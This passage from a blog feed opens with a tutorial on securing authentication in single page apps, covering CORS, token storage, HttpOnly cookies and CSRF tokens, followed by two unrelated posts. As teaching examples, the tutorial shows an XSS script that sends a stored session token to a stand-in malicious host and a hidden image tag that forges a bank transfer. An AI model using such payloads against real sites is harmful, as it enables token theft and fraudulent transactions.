<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @return {Promise}
 */</span>
<span class="kd">function</span> <span class="nx">authenticate</span><span class="p">(</span><span class="nx">login</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="s1">'https://api.bobank.com/'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">method</span><span class="p">:</span> <span class="s1">'POST'</span><span class="p">,</span>
        <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
            <span class="na">login</span><span class="p">:</span> <span class="nx">login</span><span class="p">,</span>
            <span class="na">password</span><span class="p">:</span> <span class="nx">password</span><span class="p">,</span>
        <span class="p">}),</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'application/json; charset=utf-8'</span><span class="p">,</span>
            <span class="s1">'Accept'</span><span class="p">:</span> <span class="s1">'application/json'</span><span class="p">,</span>
        <span class="p">}</span>
    <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Most of the time, the remote API is served from another domain than the static files (often hosted on a CDN). So this AJAX request is effectively a cross-domain AJAX request, which is prevented by browser security rules (the <a href="https://en.wikipedia.org/wiki/Same-origin_policy">same-origin policy</a>) by default. To circumvent these rules, the remote API must specify that it accepts cross-origin AJAX calls, using the CORS rules. That means that the remote API must send the following <code class="highlighter-rouge">Access-Control-Allow-</code> headers in response to the <code class="highlighter-rouge">POST /authenticate</code> call:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
{
    "token": "15d38683-a98f-402d-a373-4f81a5549536"
}
</code></pre></div></div>

<p>Fine, now Bob’s browser can grab an authorization token. How should Bob’s browser store the token, and how should it sent it back the API?</p>

<h2 id="web-storage-and-authorization-header">Web Storage and Authorization Header</h2>

<p>The application running in Bob’s browser is in JavaScript. The easiest storage a JavaScript developer has access to is Session Storage (or Local Storage, to keep the token persistent between tabs).</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">authenticate</span><span class="p">(</span><span class="nx">login</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">authentication</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">window</span><span class="p">.</span><span class="nx">sessionStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="s1">'token'</span><span class="p">,</span> <span class="nx">authentication</span><span class="p">.</span><span class="nx">token</span><span class="p">);</span>
    <span class="p">})</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">getAccounts</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">accounts</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// display the accounts page</span>
        <span class="c1">// ...</span>
    <span class="p">})</span>
    <span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// display error message in the login form</span>
        <span class="c1">// ...</span>
    <span class="p">});</span>
</code></pre></div></div>

<p>Most of the time, APIs require that this token is sent as a custom <code class="highlighter-rouge">Authorization</code> header for each call. So the call to <code class="highlighter-rouge">GET /accounts</code> usually looks like:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @return {Promise}
 */</span>
<span class="kd">function</span> <span class="nx">getAccounts</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="s1">'https://api.bobank.com/accounts'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="s1">'Authorization'</span><span class="p">:</span> <span class="s1">'Token '</span> <span class="o">+</span> <span class="nb">window</span><span class="p">.</span><span class="nx">sessionStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">'token'</span><span class="p">),</span>
            <span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'application/json; charset=utf-8'</span><span class="p">,</span>
            <span class="s1">'Accept'</span><span class="p">:</span> <span class="s1">'application/json'</span><span class="p">,</span>
        <span class="p">}</span>
    <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p>One thing to note is that this <code class="highlighter-rouge">Authorization</code> header must be added to the list of authorized headers in the <code class="highlighter-rouge">Access-Control-Allow-Headers</code> CORS header, by the API server. So API responses should look like the following:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type:application/json; charset=utf-8
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
[
  { id: 456346436, ... }
]
</code></pre></div></div>

<p>This approach works for the <code class="highlighter-rouge">GET /accounts</code>, and all subsequent calls to the API. But it has one major drawback: it is vulnerable to an XSS attack.</p>

<h2 id="cross-site-scripting-xss">Cross-Site Scripting (XSS)</h2>

<p>Every script running on the same domain as the single page application has access to the session storage. Every script, and this includes possible malicious script inserted by an attacker. For instance, an attacker could enter the following value in a comment form:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
<span class="kd">var</span> <span class="nx">token</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">sessionStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">'token'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">img</span><span class="o">=</span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"img"</span><span class="p">);</span>
<span class="nx">img</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s1">'src'</span><span class="p">,</span> <span class="s1">'http://my.malicious.website/?stolenToken='</span> <span class="o">+</span> <span class="nx">token</span><span class="p">);</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">img</span><span class="p">);</span>
<span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div></div>

<p>If the application script outputs this value to HTML directly, the attacker will gather all the customer tokens. This is called a <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">Cross-Site Scripting</a> attack, or XSS.</p>

<p>To be safe from XSS attacks, the application script (whether client-side or server-side) must always <a href="https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet">escape user input</a> before writing it into HTML (e.g. transforming <code class="highlighter-rouge">&lt;</code> into <code class="highlighter-rouge">&amp;lt;</code>, <code class="highlighter-rouge">&gt;</code> into <code class="highlighter-rouge">&amp;gt;</code>, etc.). If you use a framework like Angular.js, XSS escaping is on by default. If you use React.js, you never manipulate the DOM, so your app is secured against XSS attacks, too.</p>

<p>But in modern web applications, developers usually rely on many third-party scripts that they can’t control. Are you sure that this fancy animation library that you grabbed from bower always escapes <code class="highlighter-rouge">&lt;</code> and <code class="highlighter-rouge">&gt;</code> properly? And this CDN serving A/B testing code, hasn’t it been compromised lately? Even if you don’t use external JS libraries, maybe a simple bug in your browser can create XSS vulnerability (a.k.a <a href="http://www.zdnet.com/article/severe-xss-flaw-in-fully-patched-microsoft-internet-explorer-discovered/">Universal XSS</a>).</p>

<p>The bottomline is: session storage (and local storage) isn’t safe. Any serious penetration test marks usage of web storage for authentication token as a serious vulnerability. Many banking and insurance organizations forbid web storage for this reason.</p>

<h2 id="session-cookie-storage">Session Cookie Storage</h2>

<p>The browser offers a storage that can’t be read by JavaScript: <code class="highlighter-rouge">HttpOnly</code> cookies. Cookies sent that way are automatically sent by the browser, so it’s a good way to identify a requester without risking XSS attacks.</p>

<p>How do you deal with cookies in cross-domain AJAX? It’s a little more complicated than you’d think.</p>

<p>First, the response to the <code class="highlighter-rouge">POST /authenticate</code> call should return the token in the <code class="highlighter-rouge">Set-Cookie</code> header:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
Set-Cookie: session=15d38683-a98f-402d-a373-4f81a5549536; path=/; expires=Fri, 06 Nov 2015 08:30:15 GMT; httponly
</code></pre></div></div>

<p>See the <code class="highlighter-rouge">httpOnly</code> setting in the <code class="highlighter-rouge">session</code> cookie? That’s what makes it invisible to client-side JavaScript.</p>

<p>By default, subsequent AJAX calls to the API <em>do not</em> include this session cookie yet. This is because cross-domain AJAX forbids it by default. To enable the sending of credentials, AJAX calls must be done with <code class="highlighter-rouge">credentials</code> set to <code class="highlighter-rouge">include</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">authenticate</span><span class="p">(</span><span class="nx">login</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">getAccounts</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">accounts</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// display the accounts page</span>
        <span class="c1">// ...</span>
    <span class="p">})</span>
    <span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// display error message in the login form</span>
        <span class="c1">// ...</span>
    <span class="p">});</span>

<span class="cm">/**
 * @return {Promise}
 */</span>
<span class="kd">function</span> <span class="nx">getAccounts</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="s1">'https://api.bobank.com/accounts'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'application/json; charset=utf-8'</span><span class="p">,</span>
            <span class="s1">'Accept'</span><span class="p">:</span> <span class="s1">'application/json'</span><span class="p">,</span>
        <span class="p">},</span>
        <span class="na">credentials</span><span class="p">:</span> <span class="s1">'include'</span> <span class="c1">// &lt;= that's what changed</span>
    <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If you don’t use <code class="highlighter-rouge">fetch</code> but <code class="highlighter-rouge">XmlHttpRequest</code>, the setting is called <code class="highlighter-rouge">withCredentials</code>. It’s only available in XmlHttpRequest2, so make sure you pass <code class="highlighter-rouge">true</code> as third argument of the XHR constructor.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getAccounts</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">fulfill</span><span class="p">,</span> <span class="nx">reject</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">req</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
        <span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="s1">'https://api.bobank.com/accounts'</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="c1">// force XMLHttpRequest2</span>
        <span class="nx">req</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s1">'Content-Type'</span><span class="p">,</span> <span class="s1">'application/json; charset=utf-8'</span><span class="p">);</span>
        <span class="nx">req</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s1">'Accept'</span><span class="p">,</span> <span class="s1">'application/json'</span><span class="p">);</span>
        <span class="nx">req</span><span class="p">.</span><span class="nx">withCredentials</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span> <span class="c1">// pass along cookies</span>
        <span class="nx">req</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span>  <span class="p">{</span>
            <span class="c1">// store token and redirect</span>
            <span class="kd">let</span> <span class="nx">json</span><span class="p">;</span>
            <span class="k">try</span> <span class="p">{</span>
                <span class="nx">json</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
            <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">return</span> <span class="nx">reject</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="nx">resolve</span><span class="p">(</span><span class="nx">json</span><span class="p">);</span>
        <span class="p">};</span>
        <span class="nx">req</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="nx">reject</span><span class="p">;</span>
    <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Almost there! In order for the browser to accept to send XmlHtpRequests with credentials, the API must include the <code class="highlighter-rouge">Access-Control-Allow-Credentials</code> header in every response. For example, the server should respond to <code class="highlighter-rouge">GET /accounts</code> as follows:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
Set-Cookie: session=15d38683-a98f-402d-a373-4f81a5549536; path=/; expires=Fri, 06 Nov 2015 09:30:15 GMT; httponly
[
  { id: 456346436, ... }
]
</code></pre></div></div>

<p>Note that the cookie expiration date should be updated for each call, to avoid disconnection even after web activity.</p>

<p>This approach works for the <code class="highlighter-rouge">GET /accounts</code>, and all subsequent calls to the API. Authentication tokens are broadly used in APIs. There are even standard ways to represent them (like <a href="http://jwt.io/">JSON Web Token</a>, or JWT). But again, it has one major drawback: they are vulnerable to CSRF attacks.</p>

<h2 id="cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</h2>

<p><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)">Cross-Site request Forgery</a> attacks work across two sites: a malicious / infected site (e.g. xxxtorrentz.com), and the site/API where the user has credentials (api.bobank.com). When Bob visits the infected site, he may not notice the following image:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://api.bobank.com/transfer?amout=10000&amp;to=34523454561"</span> <span class="na">style=</span><span class="s">"width:0;height:0"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<p>If Bob authenticated to api.bobank.com in the past, every request he makes to the same address contains the session cookie. So the malicious call for a money transfer will pass authentication.</p>

<p>CSRF isn’t limited to GET routes. With JavaScript, it’s very easy to submit an invisible form with a POST method. And don’t get me started on iframes!</p>

<p>The classic protection against CSRF attacks is to use… a token. Yes, you read that right. The transposition of the <a href="https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern">Synchronizer Token Pattern</a> to API-first applications is to have the API send a token as a response to the <code class="highlighter-rouge">POST /authenticate</code> request, store this token in session storage, and send it as a header with each subsequent request to the API. Exactly what we did two sections above!</p>

<h2 id="the-secure-way">The Secure Way</h2>

<p>Let me summarize the pros and cons of each approach:</p>

<table class="table"><thead>
<tr>
<th>Approach</th>
<th>Vulnerable to</th>
<th>Immune to</th>
</tr>
</thead><tbody>
<tr>
<td>Token, Web Storage and Authorization Header</td>
<td>XSS</td>
<td>CSRF</td>
</tr>
<tr>
<td>Session cookie</td>
<td>CSRF</td>
<td>XSS</td>
</tr>
</tbody></table>

<p>Each approach taken individually is vulnerable. The solution? <em>Use them both</em>. Combined, a session token and a session cookie are immune to both XSS and CSRF.</p>

<p>So the AJAX call to <code class="highlighter-rouge">POST /authenticate</code> should expect both a session cookie header, and a token in the response body. They must be different, otherwise an attacker getting access to either one of them could bypass both authentications.</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
Set-Cookie: session=ee506a61-d51a-4145-83fd-47f63cff8b2f; path=/; expires=Fri, 06 Nov 2015 08:30:15 GMT; httponly
{
    "token": "15d38683-a98f-402d-a373-4f81a5549536"
}
</code></pre></div></div>

<p>The JavaScript application must then store the JavaScript token, and pass it in the Authorization header. The browser takes care of passing along the cookie, too - provided all AJAX requests are <code class="highlighter-rouge">withCredentials</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">authenticate</span><span class="p">(</span><span class="nx">login</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">authentication</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">window</span><span class="p">.</span><span class="nx">sessionStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="s1">'token'</span><span class="p">,</span> <span class="nx">authentication</span><span class="p">.</span><span class="nx">token</span><span class="p">);</span> <span class="c1">// store token</span>
    <span class="p">})</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">getAccounts</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">accounts</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// display the accounts page</span>
        <span class="c1">// ...</span>
    <span class="p">})</span>
    <span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// display error message in the login form</span>
        <span class="c1">// ...</span>
    <span class="p">});</span>

<span class="cm">/**
 * @return {Promise}
 */</span>
<span class="kd">function</span> <span class="nx">getAccounts</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="s1">'https://api.bobank.com/accounts'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="s1">'Authorization'</span><span class="p">:</span> <span class="s1">'Token '</span> <span class="o">+</span> <span class="nb">window</span><span class="p">.</span><span class="nx">sessionStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">'token'</span><span class="p">),</span> <span class="c1">// &lt;= include token</span>
            <span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'application/json; charset=utf-8'</span><span class="p">,</span>
            <span class="s1">'Accept'</span><span class="p">:</span> <span class="s1">'application/json'</span><span class="p">,</span>
        <span class="p">},</span>
        <span class="na">credentials</span><span class="p">:</span> <span class="s1">'include'</span> <span class="c1">// &lt;= include session cookie</span>
    <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There are many variants of this double edge protection. For instance, the CSRF token can be provided by a cookie, too - but a cookie readable via JavaScript (not <code class="highlighter-rouge">HttpOnly</code>). That’s how the <a href="https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection">Angular.js CSRF protection</a> works.</p>

<h2 id="internet-exporer-9">Internet Exporer 9</h2>

<p>If you implemented the cookie+token storage as described above, you can be sure of one thing: <em>it will not work</em> on IE9. And probably not on IE10, either. Internet Explorer’s implementation of XMLHttpRequest lacks support for custom headers, and for the “withCredentials” support. Microsoft’s alternative cross-domain AJAX utility for IE9, called <a href="https://msdn.microsoft.com/en-us/library/cc288060(v=vs.85).aspx"><code class="highlighter-rouge">XDomainRequest</code></a>, is a joke. It’s so broken that it’s been abandoned since.</p>

<p>You don’t have to support IE9 and IE10? You’re lucky. Otherwise, all is not lost. There is no problem that a good iframe can solve. That’s the approach of a little library called <a href="https://github.com/jpillora/xdomain">xdomain</a>, a life-saver for API-centric web applications with compulsory legacy browser support. Tested, and approved!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Just like regular HTML pages served by a web server, single page apps must be protected both by cookies and a CSRF token. So there is nothing new under the sun? Except that all this communication now takes place in AJAX, and must comply with CORS guidelines.</p>

<p>Also, if tokens aren’t enough, why do so many public APIs only provide token-based authentication? Probably because the primary use case for these APIs isn’t to be consumed directly by a JavaScript client in a web browser… Or because these APIs trust you to never open any XSS vulnerability in your apps and leak your tokens. Are you sure your apps are so secure?</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>Announcing Uptime End of Life</title>
   <link href="http://www.redotheweb.com/2015/10/13/uptime-end-of-life.html"/>
   <updated>2015-10-13T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2015/10/13/uptime-end-of-life</id>
   <summary>Uptime, the remote monitoring application using Node.js, MongoDB, and Twitter Bootstrap that I started almost 4 years ago as an exercise, won't be maintained anymore. Read on to see why.</summary>
   <content type="html">
    <![CDATA[
    <p><a href="https://github.com/fzaninotto/uptime"><img src="/images/uptime2.png" class="medium" /></a></p>

<p><a href="https://github.com/fzaninotto/uptime">Uptime</a>, the remote monitoring application using Node.js, MongoDB, and Twitter Bootstrap, has done its time. I started this project almost 4 years ago as an exercise to learn Node.js. It became much more popular than I expected (more than 2,800 starts on GitHub!), and I quickly found myself spending more time maintaining it than I could give. During the past 2 years, my support on this project has been reduced to almost zero, and the number of open issues has been rising. So it’s time to officially announce Uptime’s end of life for good.</p>

<p>There are many reasons why maintaining this app isn’t very rewarding. The architecture is not very good, all third-party components are outdated, MongoDB causes many problems in production. If I had to rebuild Uptime today, I’d probably create an API-first app written in <a href="https://golang.org/">Go</a>, and a fully static frontend written in <a href="https://facebook.github.io/react/">React.js</a>, with charts in <a href="http://d3js.org/">d3.js</a>. One of our interns at marmelab even <a href="https://github.com/marmelab/uptime">gave it a try</a>.</p>

<p>But most of all, I don’t use Uptime myself anymore. Maintaining an open-source project that you don’t use is like carrying someone else’s grocery bag. It’s fun at first, but it’s hard to keep doing it every day when you need to do your own shopping.</p>

<p>There are many, many alternatives to uptime, open-source or commercial, doing a much better job. See for instance <a href="http://www.supermonitoring.com/blog/the-updated-list-of-website-monitoring-services/">this list of more than 100 Website Monitoring Services</a>. Some of these are really great, and deserve the few euros or dollars per month that they ask for the service. That’s another motivation for me: what’s the point of building a free tool to replace commercial alternatives? Open-source is about creating value. Uptime is destroying value.</p>

<p>Anyway, it’s been fun building this product and watching it rise in popularity. I have no doubt that current Uptime users will find a cheap alternative for their needs.</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>Imperative and (Functional) Declarative JS In Practice</title>
   <link href="http://www.redotheweb.com/2015/09/18/declarative-imperative-js.html"/>
   <updated>2015-09-18T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2015/09/18/declarative-imperative-js</id>
   <summary>JavaScript allows for various programming styles. Most programmers use imperative style, but the language also allows declarative style. What's the difference? Let's see that through an example.</summary>
   <content type="html">
    <![CDATA[
    <p>JavaScript allows for various programming styles. Most programmers use imperative style, but the language also allows declarative style. What’s the difference? Let’s see that through an example.</p>

<h2 id="objective">Objective</h2>

<p>In this tutorial, I’ll show two implementations of a very simple function: <code class="highlighter-rouge">getNestedValue()</code>, which can help you retrieve a value in a deeply nested object.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * Get a nested object property by name
 *
 * Supports direct and nested property names (separated by dots)
 *
 *     getNestedValue({ foo: 1 }, 'foo') // 1
 *     getNestedValue({ foo: { bar: 2 } }, 'foo.bar') // 2
 *     getNestedValue({ hello: 'world' }, 'foo.bar') // undefined
 *
 * @param {Object} object
 * @param {String} propertyName
 *
 * @return {Object|String|Number}
 */</span>
<span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="highlighter-rouge">export</code> statement is ES6, but it’s not important; that’s just the way to expose this function to the outside world. It could be <code class="highlighter-rouge">module.exports</code> in node, or <code class="highlighter-rouge">window.getNestedValue</code> in the browser. Don’t pay too much attention to that.</p>

<h2 id="unit-tests">Unit tests</h2>

<p>Before implementing the function, in good Test-Driven Development style, let’s write the unit tests. They will use <code class="highlighter-rouge">mocha</code> and <code class="highlighter-rouge">chai</code> for the assertions, but even if you don’t know these tools, they’re pretty self-explanatory.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">assert</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'chai'</span><span class="p">).</span><span class="nx">assert</span><span class="p">;</span>

<span class="k">import</span> <span class="p">{</span><span class="nx">getNestedValue</span><span class="p">}</span> <span class="k">from</span> <span class="s1">'../lib/objectProperties'</span><span class="p">;</span>

<span class="nx">describe</span><span class="p">(</span><span class="s1">'getNestedValue()'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">it</span><span class="p">(</span><span class="s1">'should return undefined for undefined objects'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span>
        <span class="nx">assert</span><span class="p">.</span><span class="nx">isUndefined</span><span class="p">(</span><span class="nx">getNestedValue</span><span class="p">(</span><span class="kc">undefined</span><span class="p">,</span> <span class="s1">'foo'</span><span class="p">))</span>
    <span class="p">);</span>
    <span class="nx">it</span><span class="p">(</span><span class="s1">'should return undefined for undefined properties'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span>
        <span class="nx">assert</span><span class="p">.</span><span class="nx">isUndefined</span><span class="p">(</span><span class="nx">getNestedValue</span><span class="p">({},</span> <span class="s1">'foo'</span><span class="p">))</span>
    <span class="p">);</span>
    <span class="nx">it</span><span class="p">(</span><span class="s1">'should return the named property if defined'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span>
        <span class="nx">assert</span><span class="p">.</span><span class="nx">equal</span><span class="p">(</span><span class="nx">getNestedValue</span><span class="p">({</span><span class="na">bar</span><span class="p">:</span> <span class="s1">'baz'</span><span class="p">},</span> <span class="s1">'bar'</span><span class="p">),</span> <span class="s1">'baz'</span><span class="p">)</span>
    <span class="p">);</span>
    <span class="nx">it</span><span class="p">(</span><span class="s1">'should return the deeply nested named property if defined'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span>
        <span class="nx">assert</span><span class="p">.</span><span class="nx">equal</span><span class="p">(</span><span class="nx">getNestedValue</span><span class="p">({</span><span class="na">bar</span><span class="p">:</span> <span class="p">{</span> <span class="na">baz</span><span class="p">:</span> <span class="mi">1</span> <span class="p">}},</span> <span class="s1">'bar.baz'</span><span class="p">),</span> <span class="mi">1</span><span class="p">)</span>
    <span class="p">);</span>
    <span class="nx">it</span><span class="p">(</span><span class="s1">'should return undefined for a deeply nested named property if undefined'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span>
        <span class="nx">assert</span><span class="p">.</span><span class="nx">isUndefined</span><span class="p">(</span><span class="nx">getNestedValue</span><span class="p">({},</span> <span class="s1">'bar.baz'</span><span class="p">))</span>
    <span class="p">);</span>
    <span class="nx">it</span><span class="p">(</span><span class="s1">'should not accept to get empty property names'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span>
        <span class="nx">assert</span><span class="p">.</span><span class="kr">throws</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="nx">getNestedValue</span><span class="p">({},</span> <span class="s1">''</span><span class="p">))</span>
    <span class="p">)</span>
<span class="p">});</span>
</code></pre></div></div>

<p>There’s a little more ES6 here, but don’t let that bog your mind:</p>

